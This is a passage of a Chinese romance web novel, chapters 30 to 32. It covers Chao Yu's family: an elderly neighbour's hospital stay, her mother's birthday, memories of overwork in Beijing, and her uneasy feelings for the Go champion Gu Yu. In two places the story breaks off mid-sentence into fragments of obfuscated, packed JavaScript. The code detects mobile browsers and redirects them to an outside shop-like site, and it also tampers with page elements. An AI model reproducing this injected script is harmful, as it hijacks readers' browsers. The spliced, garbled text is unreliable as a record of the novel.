一招手叫晁雨:“诶那个丫头,过来做个见证。” 晁雨走过去:“我看不懂。” “这有什么难的。”九叔简单给她讲了讲规则。 辜屿坐在棋盘对面,表情仍冷着:“围棋就值五块钱?” “那不然呢?十块钱?”九叔摆摆手:“赌不起赌不起,我工资很低的。” 两人开始对弈。 晁雨站在一边,按照九叔讲的规则,好像看懂了点,又好像没看懂。手指无意识抠着那颗难看的黑扣,绕啊绕。 辜屿最后的杀招,只差一颗棋子,便能让九叔连和棋的机会都没有。 他伸手摸向棋盒。 那是老头们凑来的,路边下棋也用不上什么好东西,两个棋盒甚至不成套。 此时黑子的棋盒里,已不剩一子了。 “哈哈小孩儿。”九叔丝毫不觉得胜之不武:“天意啊,看来你今天是赢不了我啦。” “谁说的。” 晁雨把领口那颗被她抠松的黑色纽扣拽下来,放到棋盘上辜屿视线所及之处。 “哪有这样的?”九叔干瞪眼。 “你就说这是不是黑子吧。”晁雨利落地拍拍巴掌,扭头看着辜屿笑:“下棋还蛮有意思的喔?你赢了两根娃娃头,可不可以分我一根。” 棋室里通常冷气开得足,好像要让人的头脑时刻保持冷静一般。 这好像是他第一次下棋的时候,日光晒着人的背。 眼前的女孩笑容煦暖,一件白衬衫上有洗衣液的香气。 他摇摇头说:“不要。” “这么小气哦?”女孩也不恼,从路边花台上跳下来,往那栋木制的老宅里跑去:“妈!我黑色扣子掉啦,这下你非得给我找颗白色扣子了!” 30. 第五件小事01 “小雨!小雨!” 静谧的老城区里,深夜亮起的灯,响起的招呼,从来都不是什么好兆头。 晁雨心里一惊,从床上弹起来。 套上家居运动服跑出房间,碰上火急火燎也跑出来的许辰懿:“怎么了怎么了?” “不知道。”晁雨匆匆跑下那道窄长的木楼梯,差点没崴了脚。 葛洁站在天井里,披着件睡衣,叫两个姑娘:“毛奶奶在家喘不过气,我叫了120,你们俩过来搭把手。” “好好好。” 毛秀珍平时看着健壮如牛,但人上了年纪,一有个头疼脑热总会引起身体机能的改变。 平时这条木安街里没什么年轻人,都靠住在这里的老街坊们互相照应。 毛秀珍手机里的紧急拨号键,1就是葛洁。 三人匆匆跑过马路。刚才葛洁已来过一趟,给毛秀珍换了衣服,扶到院子里的躺椅上。 辜屿守在一边。 晁正声和晁二柱也听到动静匆匆赶了过来,救护车到的时候,几人护着毛秀珍上车。 救护车里空间有限,葛洁当机立断:“二狗子是肯定要去的,我跟小雨陪着过去,我们都是女的跟毛奶奶又熟,方便点。其他人先回去休息,需要的话明天来换班。” 救护车匆匆到医院。 还好,毛秀珍没什么大碍。一番处理后,转入病房。 许辰懿放心不下,给晁雨发微信:[怎么样了?] 晁雨给她回了个电话过去:“没什么大事,你放心睡吧。” 许辰懿舒了口气:“那你呢,回来么?” “不了,我妈陪着毛奶奶在病房睡陪护床,我还是在走廊等着吧,万一又有什么事。” “那行,我明天一早来看你。” 本来医院走廊是不能留人的。 但老城区这家医院人情味浓过规章制度,毛秀珍又是紧急情况,没人来赶人。 病房门前一排蓝色等候椅,晁雨坐在上面。 辜屿远远坐在走廊另一头,离病房很远。夜间走廊灯光调得很暗,他变成一团模糊的影子。 晁雨打了个呵欠,掏出手机看了眼。 那时是凌晨三点半。她站起来,活动了下手脚,又走到自动贩售机前看了眼,买了一罐雀巢和一瓶纯净水。 走到走廊另一端去:“给。” 辜屿抬眸,看她递过来的那瓶纯净水。 他接了。晁雨正要走回自己座位,意外听他开口:“这你倒记得。” 晁雨怔了下。 她小时候张扬,却细心。记得辜屿从来不喜欢喝任何带甜味的饮料,有时候饭桌上只有可乐,辜屿就什么都不喝。 但还有很多关于辜屿的小事,她的确忘了。 若其他人说这句话,听起来会有点像抱怨。抱怨说:你好像从没更多留心我。 可这是辜屿。 辜屿会在意这些么? 这句话被他说得语气太淡,不带任何情绪意味。 晁雨几乎不知怎么接话,他拧开纯净水喝了口,冷白的喉结一滚,复又低下头去。 晁雨走回自己的座位。 本来坐着是睡不着的,捱到五点过,实在太困,反而在天色快亮起来的时候,头靠着墙打起了瞌睡。 七点的时候,葛洁出来拍她的肩:“困哦?” 晁雨惊醒:“毛奶奶怎么样了?” “哎呀没事了,精神得不得了,大概血氧饱和度上来就没事了。”葛洁揉揉肩:“你跟我回家睡觉去,二狗子……诶二狗子呢?” 辜屿从走廊另一端走来。 “你也回家睡觉去。” “让辰辰来看着?” “不用,毛奶奶已经没什么事了。这里有护士看着,下午再来吧。” 葛洁回家,晁正声交待:“今天我自己出摊就行,你好好补个觉。” 晁雨也回房睡觉。 许辰懿是个闲不住的,自告奋勇去医院陪毛秀珍。 晁雨一觉睡到下去,去医院一看,毛秀珍不在病房里。 晁雨给许辰懿打电话:“人呢?” “你不知道吗?哦你不知道。辜屿弟弟把毛奶奶转到单人特护病房了。” 晁雨循着许辰懿告诉她的房号过去。 许辰懿站起来:“刚好你来了,我得回去线上对付我的金主霸霸。” 她走了。晁雨一看毛秀珍,觉得毛秀珍脸色不大好。 “不舒服?” 毛秀珍虚弱地一挥手:“你这朋友太能侃了,我还想跟她拼一把,结果直接被她给侃晕菜了。” “哎哟喂不行,我得睡会儿。” 晁雨心想这样挺好,不然她还担心毛秀珍换了个环境,会睡不着。 结果下一秒,毛秀珍就打起了震天的呼噜。 晁雨:…… 真是多虑了。 毛秀珍醒来的时候,看到晁雨正拿起一个床头柜上的苹果削皮。 毛秀珍咂咂嘴:“我有点渴了。” 晁雨斜眼瞟她,老太太可以啊,还学会迂回了。 她把手里削好的苹果递过去,又拿起一个来削。 毛秀珍嘎嘣脆地啃着:“你知道这苹果多少钱一个么?” “多少。” 毛秀珍比了个八。 “八块啊?”晁雨心想那还行。 “八十。” 晁雨削苹果的手一抖,下刀的时候都多注意了点,力图把皮削薄点。 毛秀珍抽张纸巾擦了擦手:“我跟你说,这特护病房的病号餐才好呢,自助,你待会儿早点去,多给我来俩大肘子。” “老太太。” “啊?” “我合理怀疑你身体一点毛病没有,昨晚闹那么一出,是骗关注来了。” 毛秀珍哈哈一乐:“你看这大套房,这大电视,这大冰箱,这大床,不比在家里舒服?还有护士小姑娘来陪我聊天。” 毛秀珍的住院生活就这么愉快地开始了。 为了保险起见,辜屿给她订了一周的特护病房。 她逢人便炫耀:“我外孙有钱着呢!” 葛洁出摊去了,不然晁正声一个人忙着压力太大。几个年轻人轮番来看毛秀珍。 这天晁雨来的时候接近傍晚。 毛秀珍一个人靠在床头,望着窗外的晚霞。 她向来都是个太过雷厉风行的老太太,喝双倍糖奶茶喜欢粉红色,以至于晁雨有时候都忽略了,她那张脸在夕阳下看起来,已生出多少皱纹。 晁雨咳了声才走进去。 毛秀珍回过神来。 晁雨拿起床头柜上一个苹果来削。 “我算看出来了。”毛秀珍斜眼瞟她:“你不是来看我的,你是来蹭苹果的。” 毛秀珍伸出手:“分我一半。” “你别吃了,你这几天都吃胖了。”晁雨嘎嘣咬一口:“辜屿他,没来看你啊?” 尽量用很不经意的语气。 笑容挂在毛秀珍脸上。毛秀珍伸手抚了下床单,又用指尖用力捻了捻:“他忙嘛,春闻杯马上就要开始了。” 晁雨走出医院的时候想。 也许辜屿就是这样的人。 拒绝女生的时候,他话语直接。毛秀珍生病,他会订最好的病房,但他不会来探望。 他或许天生、也或许刻意的,保持着自己情感的淡薄。他甚至不愿给自己家里买一双客用拖鞋。 回家后,晁雨主动搜了下辜屿的视频。 那是个大粉做的,剪辑了辜屿一些最精彩的比赛片段,配上一段极富感染力的旁白: 「他或许是出尘绝俗的佛,或许是横行世间的妖。这两者的共性是,都没有感情。」 「他所执的黑子就是他手中的刀。刀出鞘的时候,没有波澜,也没有犹豫。」 「所以,见血封喉。」 晁雨看了眼那视频的名字,叫:[任是无情也动人]。 一周后,毛秀珍出院,非要大夏天的跨个火盆,说这样兆头好。 晁雨提醒她:“那好像是出狱仪式。” “……”毛秀珍尴尬一咧嘴:“是吗?” 葛洁做了好些菜,请男孩们一起,庆祝毛秀珍出院。 就连逢人便说“瘦了”的葛洁,饭桌上端详毛秀珍,也半是犹豫道:“是不是胖了点?” “没有的事。”毛秀珍拈着一筷子红烧肉:“我那是在医院躺多了,浮肿。” 吃了阵子,当葛洁的眼神开始频繁瞟向晁雨的时候,晁雨就知道没好事。 她装作不知道,挑八宝鸭里的莲子吃。 葛洁清了下嗓子开口:“辰辰,你找男朋友的话,喜欢年纪大的,还是小的?” “我……”许辰懿看晁雨一眼。 “别看我,我就喜欢年纪小的。”晁雨又把一颗莲子丢进嘴里。 葛洁筷子一拍:“哪来那么多年纪小的啦?上次好不容易找来一个你又不满意。洵州年纪小的都坐在这里了,要不你随便挑一个看看啦。” 满桌男生都惊了。 跟着葛洁放下筷子,马超还把一颗莲子卡在喉咙里,吞了口水又在胸口捶两下,像只伸长脖子的鹅。 “葛阿姨。”他一脸严肃地说:“我们对雨姐只有一种神圣而朴素的感情,就是尊重。” 其他男生纷纷表决心:“雨姐是我们永远的姐!” 其中一个激动得还破音了。要是有不知情的人路过,还以为是什么帮派结拜现场。 晁雨:…… “也不至于这样。”她说:“我也看不上你们。” 许辰懿在一旁差点没笑死。 散席以后她拉着晁雨在天井里剥山核桃,一边问:“你小时候到底怎么欺压他们了?” “也没干什么吧。” “好像只有辜屿弟弟不叫你雨姐。” “他好像从来没叫过。” 本来两人也没说过几句话。除开今年夏天,荷尔蒙作祟,莫名其妙的。 “那些男生鬼吼鬼叫的时候,他就在一边吃青菜。哎他怎么吃那么素啊?” “谁知道。” “不会真的有点虚吧?” 晁雨手一抖,山核桃的壳就把指头戳破了。 怎么就跟虚不虚这件事干上了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721314|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 现在她知道辜屿有腹肌了,但虚不虚的,她、她只试过辜屿的手,也没验证过啊。 在北京醉酒的那夜,她用最后的理智和体力强撑着回客房,昏睡过去前,听到主卧浴室里传来淋浴的水声。 她瞥许辰懿一眼:“好奇害死猫。” 许辰懿哈哈一乐:“不害死我就行。” 晁雨心想:有可能会害死我。 意外跟辜屿接吻后,她看见辜屿就跑。 意外跟辜屿那啥后,她恨不得登上神舟十八号。 她就不该对辜屿有任何好奇,别再生出任何意外。 接下来还真有件意外。 不是辜屿,而是晁雨和晁二柱纷纷收到了同学会的邀请。 洵州老城区没别的特色,就是时间在这里流淌得够慢,随便一家店拉出来都能往百年老店的方向上奔一奔。 晁雨和晁二柱读的云泉高中,今年也将迎来百年校庆。 许辰懿串掇晁雨:“你会去吧?多有意思啊。” “不去。”晁雨翻着古建筑图册头也不抬。 “为什么?” 晁雨说了句极富哲理的话:“同学会那都是为成功人士准备的,让他们有个场合可以炫耀。像我这种loser,躲还来不及。” 晁二柱跟他姐一个态度:“不去。” “为什么?” “期末考挂了两科。” 近朱者赤近猪者肥,马超他们也纷纷表示不去。 但有人想了个主意:“我们去拍张合照吧。” “我怎么那么喜欢拍照呢。”马超问:“你看我长得像梁朝伟么?” “不是,我们都大三了,明年实习、毕业,也许以后就再也不会回来过暑假了啊。” 马超愣了下。 挠了下自己的寸头:“也是。” 洵州这地方总有这样的气质,让你觉得身在这里,一切都不会改变。 可原来时光再滞缓,仍在流淌,一切都不会改变只是人的错觉。 同学会前还有件大事,便是葛洁的生日。 晁雨带许辰懿去给葛洁订蛋糕。 走到路边一家小店,卷闸门紧闭,上面很随意贴着张作业本上扯下来的纸,连笔写着:[有事请打136xxxxxxxx]。 晁雨掏出手机给老板打电话,身后是梧桐荫蔽,蝉鸣声声。 许辰懿站在路边用手掌给自己扇风,等了会儿,一个中年女人骑着电瓶车匆匆过来,一边解下头盔一边道:“啊呀,不好意思。” 晁雨笑道:“卜阿姨。” “小雨,今年是你来订蛋糕啊?前几年你妈生日,你都没回来哩。”卜阿姨走过来插上钥匙,推上卷闸门,震得身后树上的蝉齐齐静了一瞬,又开始报复性的叫得更大声。 “是,所以今年回来了。”晁雨笑着跟进去。 洵州老城区的这些店都很佛系。 天太热,不开。天太冷,不开。想打牌,不开。 许辰懿跟着走进店才发现,这是家很老式的糕点店。油纸口袋里包着桃酥,最老式的鸡蛋糕胖嘟嘟挤在玻璃柜台里,发出阵阵菜籽油香。 蛋糕则是最老式的植物奶油蛋糕,写出“生日快乐”字体的草莓果酱则添了色素,红得耀武扬威。 “嗬,好久没吃过这种了,有点儿怀念。”许辰懿盯着玻璃柜。 大城市的蛋糕太柔软太精致,巴掌大,用法国的黄油英国的面粉日本的奶油,与记忆中的相距甚远。 有时我们回到家乡,是去找时光深处的自己。 卜阿姨问:“今年订个什么款式呢?” 以前晁雨读高中,葛洁还年轻,她偏喜欢给葛洁订寿桃款,葛洁就伸着手指来戳她脑门。 可今年她说:“花的吧。” 葛洁的生日是两天后。 晁正声这天没去出摊,自己要进厨房露一手,晁雨、许辰懿和晁二柱打下手。 葛洁闲不住,叉着腰在一旁指挥。 晚饭时,男孩们都来了,毛秀珍也过来了。 葛洁笑眯眯道:“我就是占了暑假的便宜。” 所以每年生日都过得热热闹闹的。 男孩们闹哄哄给葛洁敬酒:“葛阿姨,年年如花,岁岁十八!” 葛洁笑得鼻梁皱起来:“啊哟,嘴甜得来。” 许辰懿有点喝多了,手指虚虚地指着辜屿:“你怎么不祝阿姨生日快乐呢?” 辜屿掀起冷薄的眼皮,眼神透着些冷淡。 葛洁出来打了个圆场:“二狗子的心意,我们都知道的呀。” 许辰懿嘀咕了句:“嫌天太热想给我们送点冷气呗。” 晁雨看了辜屿一眼。 最是江南秋八月,鸡头米赛蚌珠圆。一张饭桌摆在晁家老宅的天井里,桂花尚未盛开的花芽落在一道道莲藕排骨汤、菱角烧毛豆、鸡头米甜汤上。 晁雨今天也喝了酒,自家酿的桂花酒,度数不算太低,却甜甜的很适口。 她放下那青花粉彩的小酒盅,手背贴了下发烫的侧颊,想: 嗯。 我果然千万不要,喜欢上一个这样的人。 31. 第五件小事02 一顿生日宴吃得圆满,许辰懿和毛秀珍拿筷尖敲着碗沿,一个唱黄梅戏一个唱昆戏,比着赛的亮了一嗓子。 毛秀珍到底年事已高:“咳咳咳。” 又伸手去端面前的桂花酒。 辜屿把她的酒盏挪走:“少喝点。” “哦。”毛秀珍讷讷地缩回手去。 散席后,男孩们要帮着收拾,葛洁把他们都赶跑了:“还不够给我添乱的呢。” 晁二柱这个不中用的,没喝几杯就倒下了。 许辰懿在白酒啤酒洋酒领域那都是所向披靡,但她没喝过洵州的这种桂花酒,被忽而涌上的酒气弄得有点懵,拉着晁雨的手吸着鼻子:“我有点想哭。” “怎么了?”晁雨紧张起来。 许辰懿嗷地一嗓子:“你说海绵宝宝为什么要生活在海里呢?它是块海绵,那不得泡烂了啊!” 晁雨顿觉好笑,扶着汪啊汪的许辰懿上楼回客房。 天井里就剩下晁正声、葛洁、晁雨三人收拾。 洵州请客是不用一次性碗筷的,那被视作上不了台面。散了席,主人家要捧着那些瓷碗碟,一只只地洗过。 晁正声把所有碗碟收到厨房里去了,葛洁弓着腰在擦桌子。 她有一头乌色浓密的发,晁雨的一把好头发就是遗传她。 不过去年生病之后,便剪短了。 晁雨过去拥住她的肩:“妈妈,生日快乐。” 葛洁怔了下,抬起腕子拍拍她手背:“你这孩子,突然撒什么娇。” 晁雨抱着她的肩不撒手。 原来要到这么近的距离,才能看清葛洁头上一晃而过的并非月晖,的的确确是一丝白发。 晁雨把侧颊贴在她后颈:“不是撒娇。” “就是祝你生日快乐,年年快乐。” 她心里有点不是滋味。 因为前年葛洁的生日,她因工作忙没回洵州。晁二柱迎来大学第一个暑假,跟马超他们约着去旅游了。 葛洁的生日年年热闹,难得冷清一年,晁雨有点不放心。 给葛洁打电话,葛洁听起来没事人一样:“啊哟,难得一次我跟你爸二人世界,不知多开心。” 葛洁生日那天,晁雨加了整天班。 她碰上一个难对付的甲方,明恒宇把她丢到现场去,她穿着高跟鞋陪客户走了整天的现场,客户仍是不满意,指着鼻子把她骂得狗血淋头。 末了说:“你妈命不好吧生了你,笨成这样?” 这一单价值数千万。然而并非所有签大合同的客户都有素质。 晁雨深吸一口气,阖了阖眼。 真的很想脱下高跟鞋扇在他的肥头大耳上。 在脑中过了遍这爽文剧本,又在心里默念佛系法则:Ok,fine,随他去。 熬到下班,那日北京倾盆大雨。 三号线遇到极为罕见的停电事故,她顺着人潮慢慢挪出地铁站,只想回家冲个热水澡,解放被高跟鞋折磨了整天的双脚。 许辰懿还没下班,她回到出租屋的时候,看到楼道里站满聊天的老人。 她问:“怎么了?” “停电了,屋里待着挺闷的,待不住。” 晁雨怔了怔。 站在楼道里聊天的正好有房东阿姨,叫住她:“哎姑娘,我女儿说可能要回国,现在还没决定。如果她真要回的话,麻烦你们下个月就搬走。” 晁雨整天没吃饭,有点头晕,伸手扶了下墙:“不是,合同里不是写明了,如果要搬走,至少提前一个月说吗?” 房子也不是那么好租的。 “那我少收你们一个月的房费咯。”阿姨道:“租房不就这样吗?不然的话,你们买房嘛。” 晁雨重新撑开伞,走进雨幕里。 许辰懿还在跟客户拼酒,晁雨琢磨着这事还是等许辰懿清醒了再跟她说。 晁雨本想回家点个外卖蛋糕,再给葛洁打视频,用这样的方式陪葛洁过生日。 现在不行了,大暴雨天的也走不远。 她撑着伞去了出租屋旁边的便利店,冷藏冰柜里,还剩下最后两只预包装的小蛋糕,都是别人挑剩下的。 一个巧克力的,奶油都腻在包装纸上。还有一个奶油草莓的,草莓蔫头搭脑,奶油塌了一角。 晁雨拿了那个奶油草莓的,去柜台结账。 本想在便利店待会儿,结果这里挤满了附近小区停电来乘凉的人,已不剩空座,甚至门口也挤满了人。 晁雨撑开伞重新走入雨中。 她路过一个早已废弃的电话亭,走进去,收了伞靠在脚边。 电话已经拆除了,只剩个满是灰结出铜锈的空架子。晁雨吹了吹,灰简直迷了眼,她把蛋糕放上去。 这情形有点惨,她决定不给葛洁打视频了,改为打电话。 调出精神的语气:“妈,你生日怎么过的?” “啊哟,都说是二人世界了,那能告诉你吗?” 晁雨笑。 “那你呢,你今天过得怎么样?” “我过得蛮好呀,客户很满意我的设计,下班以后我跟辰辰一起点了蛋糕和小龙虾。” “不要吃小龙虾呀!不干净的,小龙虾和蟑螂是同一个祖先你晓得伐?” “……妈,你这都是在哪里看的?” “你买的什么蛋糕?” “奶油草莓。”晁雨垂眸看着生锈架子上的小蛋糕,它在这样潦倒的环境里,显得更蔫头搭脑了一点。如果晁雨没有买它,再过一个小时,它就会被贴上“七折”标签。 如果还没有人买它,再过两个小时,它就会被扔进垃圾桶。 “妈你知道吗?北京的奶油蛋糕跟洵州不一样,是动物奶油。” “什么动物奶油?” “洵州那种老式蛋糕就是植物奶油呀,口感不好的。” 动物奶油更轻盈,更柔软也更娇贵。托在舌尖上像一朵轻柔的云,非得藏在温湿度适宜的冷柜里才能保护它的形状。 像北京这座城市。 晁雨站在一个废弃的电话亭里,抬眸望去。她身后的这片老式小区都停电了,可一条马路之隔的新式小区灯火通明,闪烁着瑰丽的霓虹。 再旁边是一栋崭新的商业体,楼体外高悬着辜屿的海报。 那时他还没拿下最具分量的「春闻杯」,还没有如今这样的国民度,却也已是火出圈的程度。 晁雨望着那张海报。 海报上他的目光,也像北京这座城市,冰冷而华丽的注视着所有外来客。 电话亭是半开放式,雨溅进来,挂在她睫毛上。她觉得有点想打喷嚏,揉了揉鼻尖,对葛洁说:“再过几年,我就可以买房了。” “到时候接你来过生日,给你买动物奶油蛋糕。” “好的呀。”葛洁的声音听起来很昂扬:“那我等着享你的福了。” 挂了电话,她打开那个小蛋糕的盖子。 失去了冷柜保存,奶油融化变软,草莓托得不稳,随着她一揭盖子,骨碌碌滚到生锈的架子上去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725596|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沾了一身的灰。 她拿纸巾把草莓包了,准备一会儿扔进垃圾桶。 用塑料小叉挑起一块蛋糕喂进嘴,奶油黏糊糊地粘在上颚,吐不出,吞不下。 她用舌尖把那些奶油一点点刮掉,忽然想起刚才的电话里,她忘了跟葛洁说生日快乐。 她给葛洁发微信:[生日快乐。] 又给晁二柱打电话:“你祝妈生日快乐了吗?” “那当然。” “马超他们呢?” “都给妈发信息了。” 晁雨想了想:“让辜屿也给妈发条信息吧。” 刚才电话里葛洁的声音那么昂扬。 昂扬到让晁雨有点难过。 “姐你直接给狗哥说一声就行呗,我这还赶着去酒吧呢。” “我没他手机号。” “哦对,忘了你们不熟。” 那一年是辜屿腾飞的开始,一年七冠的怪物智商,加上逆天颜值和冷峻气质,让他的商业价值开始凸显。 纵使他想低调,仍担负着棋协推广围棋这一项目的任务,需要制造大量的曝光量。倏然激增的工作量,让他那年没来得及回洵州过暑假。 啪一声,身后小区来电了。 晁雨舒一口气,刚准备回家。 明恒宇打来电话:“马上赶到公司。” 是另一个客户出了状况。 晁雨打车到公司,路上抽空给自己点了碗葱油面,然而等到她忙完一轮,终于有空去吃口面时,那面已坨成了一个饼,捏在手里能呼倒一个壮汉的那种。 凌晨四点,工作告罄。 明恒宇和其他同事回家休息,晁雨本就忙了整天,实在折腾不动了,搭了件西装外套,趴在工位上就睡了。 大约凌晨五点,手机震了下。 晁雨条件反射抬眸,发现竟是某网站的促销信息:[年中大促!399元多维元素胶囊带回家!加班防猝死/防脱发/防心梗多种套餐任你选择……] 晁雨骂骂咧咧放下手机前,看到短信列表里还躺着条未读信息。 一串陌生号码,就发了三个字:[在忙吗?] 晁雨收到这种信息那可太多了。 都是卖衣服的、卖药的、卖A货奢侈品的,骗你加微信的。 放下手机,晁雨一头栽倒又睡了过去。 许辰懿昨晚跟甲方霸霸拼完酒,又回办公室加班做方案,睁着带点醉意的双眼拼命数清表格里的小数点。 早上七点过,她进洗手间给自己补了个妆,抓起手机去创意部找晁雨吃早饭。 进创意部一看,其他人都还没来,只有阿姨在打扫。 晁雨披着件西装,还在办公桌上趴着呢。 许辰懿一看:还睡呢? 便想转身先走,能让她多睡一会儿算一会儿。 结果隐隐约约听见有人叫她:“辰……辰辰……” 许辰懿吓一大跳: 亚轩这办公楼挺新的呀!闹鬼啊?不能吧! 又仔细听了一耳朵,发现这诡异的声音,是晁雨趴着的办公桌那边发出来的。 许辰懿踩着高跟鞋走过去:“醒了啊?醒了就抬头啊。” “我抬不了,我嘴斜了。” “你什么?” “我嘴斜了!”晁雨的声音模糊间听起来有点气急败坏:“空调对着我后脖子根吹了一晚上,今早上我一睁眼发现嘴斜了,我会不会就此毁容了啊?” “噗,噗哈哈哈哈!”许辰懿放声大笑。 32. 第五件小事03 那天的早饭是没吃成。 许辰懿请了假,陪晁雨去了医院。 晁雨口齿不清地问:“能恢复吗?” 医生吓唬她:“年轻人加班起来不要命,这一次能恢复,下次可就不一定了!” 许辰懿搀着晁雨去中医理疗科扎针,护士小姐姐一边扎,她就举着手机在一边团团转着圈拍照。 晁雨问:“你拍这干嘛?” “特酷!”许辰懿欢快地说:“特像赛博朋克里的机械人!” 扎了几次针,晁雨这次惊心动魄的面瘫,可算没留下后遗症。 她心有余悸地说:“再也不加班了。” 然而人在职场,很多事就由不得你。 一周以后,又加班加得飞起。 不过一切事情都在向好的方向发展,房东阿姨的女儿还是决定不回国了,晁雨和许辰懿也不用搬走了。 那年春节,晁雨作为一个初入职场的新人,到手的年终奖不算低。 她给葛洁买了最柔软的羊绒衫,给晁正声买了酒,又给他们各自包了个大红包。 老城过年有老城的兴味,葛洁剪的窗花、晁正声写的对联,往百年老宅里一贴,很是那么回事。 毛秀珍一个人在家过年,葛洁每年都会请她来家里。 过年时葛洁有个拿手绝活,就是包蛋饺。 小小的煤炉生起火,拿一只汤勺,用筷子拈着猪油在勺里抹那么一圈,蛋液倒上薄薄一层,葛洁手腕灵巧地一转,一张金黄的蛋皮就做好了。 放上提前调好的猪肉馅,蛋皮封上口,便是一只香喷喷的蛋饺,是别处都没有的江南味道。 毛秀珍趁着葛洁包蛋饺的时候,悄悄跟晁雨说:“待会儿好好敬你妈一杯酒,她今年可是劫后余生。” 晁雨脑子里嗡地一声:“什么意思?” “你不知道,她不让跟你说。她之前摸出胸上有个小肿包,就在生日那天去的医院,医生怀疑是恶性。” “什么?”晁雨嘴都麻了。 毛秀珍连连摆手:“没事没事,后来查出来是良性,做了个小手术切了就没事了。只不过你妈生日那天,可受了不小的惊吓,刚好你们今年又都不在,哎。” 晁雨的脑子迟滞地转着。 守完岁后,她拉着葛洁:“我们聊聊。” “你这么严肃干嘛?感觉你下一秒就要叫我的大名了。” 晁雨用齿尖磨一磨自己的下唇,又放开,在那一片发麻的感觉里说:“以后有任何事,能不能不要瞒着我?” 葛洁一怔。 “好了好了。”反而是她来拍着晁雨的背:“这不是没事了吗?吓到了是不是?没事了哦。” 当时晁雨心里酸胀的感觉,像晁正声泡了很多年的那坛梅子酒。 她暗暗下决心,以后葛洁的每一个生日,都要陪葛洁一起过。 可人长大以后,是在被生活的洪流推着走。 看起来你撑着一支长蒿,却抵不过洪流的潮向。 第二年亚轩开年中总结会,人人不得缺席。 再往后一年她在泰国出差,她一走,这客户就丢了。 她的决心于是变成了:早点在北京买房,早点把葛洁接到北京过生日。 可是她一夕之间失去了所有,一无所有地回到了洵州。 她抱着葛洁的肩,葛洁拍着她手背:“开心呀,你都回洵州陪着我了,我还有什么不开心的?” 晁雨很轻地眨了下眼睛。 这样就够了吗?不成为任何人的骄傲也可以吗? 月光和正在分芽期的桂花瓣一起,夏夜的风一拂,落了抱在一起的母女俩满背。 葛洁:“不过,你要是想让我更开心……” 晁雨心道要完。 葛洁话锋一转:“我们拍张合照怎么样?” “啊?” “来来来。”葛洁举起手机,咔嚓一声。 晁雨怀疑自己上次嘴斜多少还是留下了些后遗症,怎么每次拍照一笑起来总显得这么傻。 葛洁翻着自己相册:“我再挑几张照片,发条朋友圈。” 她手一滑,就翻到了上次晁雨拆石膏时、她拍下来石膏上画的那两只企鹅,啊不,鸳鸯。 问晁雨:“这张怎么样?” 哟,学会迂回了,催她去相亲还不直说。 晁雨转个话题:“今年生日许什么愿了?看你那虔诚的样儿,是不是许愿我爸给你买个大金镯子。” 葛洁摸摸她的头发:“其实我每年生日许的愿望,都是一样的。” “什么?” “希望我的女儿,一生顺利,无忧无虑。” 晁雨愣了下:“怎么,二柱子不是你亲生的?” 怎么许愿还不带上他呢? “……”葛洁一巴掌拍在晁雨肩上:“你说什么呢?” 晁雨一阵龇牙咧嘴,葛洁又理了下她的头发:“二柱子是个男孩,男孩总归要容易些。” “你是女孩,女孩想要在这样的社会里过很好的一生,要难得多,所以妈妈所有的愿望都给你。” 晁雨瞬间有点眼热。 她放开葛洁,葛洁趁热打铁:“那你去不去相亲啦?” “……再说。” 葛洁擦完桌子去厨房找晁正声了,晁雨想去帮着洗碗,被葛洁赶走了,让她不要打扰老两口的二人世界。 晁雨站在天井里仰头。 发现先前醉酒的许辰懿,不知什么时候出来了,倚在二楼的木连廊上,望着天井里她刚刚和葛洁的那个拥抱。 晁雨抬起手来挥了挥。 许辰懿冲她笑了笑,转身回客房去了。 酒气蓄在体内未散,晁雨决定一个人出去走走。 脚步略摇晃地踏在青石板路上,醉酒的便不只她一个,还有同样摇晃起来的月亮和她的影子。 然后她看到了马路对面的辜屿。 在古塔意外接吻之后。 在北京意外那啥之后。 她看到辜屿从来都是躲,恨不得用脚趾抠出三室一厅把自己埋进去。 可这时她主动迈过马路,点了点辜屿的背。 辜屿回头。 一看她就知道醉了。 她喝了桂花酒的醉态是这样的。动作慢一点,眼睛亮一点,纤长而毛茸茸的睫轻轻翕动,像在跟夏夜的风打架。 晁雨看着辜屿的眼睛。 因为她醉酒了动作会变慢,所以这一次的对视,比任何一次都要漫长。 长到辜屿的呼吸轻不可闻地变快,又慢慢放缓。 喉结轻滚的动作不露痕迹。 晁雨开口:“你为什么不祝我妈生日快乐?” 刚刚许辰懿借着酒劲问出来的话,她此刻借着迟到的酒意,也问出来了。 话一出口,她才发现自己想问的不是这个。 她看着辜屿那双黑沉如潭的眼。 或许她想问的是: 为什么你是这样一个人。 一个冷淡到近乎无情的人。 一个看起来屏蔽了所有感情的人。 一个淡薄如天边冷月的人。 为什么我也许将要喜欢上的人,是这样一个人。 桂花酒初入口是甜,慢慢渗进血液,却足以把脑子里一切思绪搅得混乱。 晁雨理了理刚刚脑子里闪过的念头:「也许」、「将要」、「喜欢」。 她愣了愣。 她在想什么? 将辜屿撇在原地,晁雨转身就走。 未散尽的酒意让此刻的她并不能理智思考,但这个倏然冒出的念头让她本能觉得危险。 一觉睡到天亮,很好,无梦。 桂花酒便是这点好,即便以她的酒量,贪嘴多喝了两杯,第二天一早酒意也散得干干净净,一点宿醉的感觉都没有。 坐在晨光通透的二楼饭厅里吃早饭,浑身神清气爽。 晁二柱一边看手机一边喝粥,时不时吭着气冷哼一声。 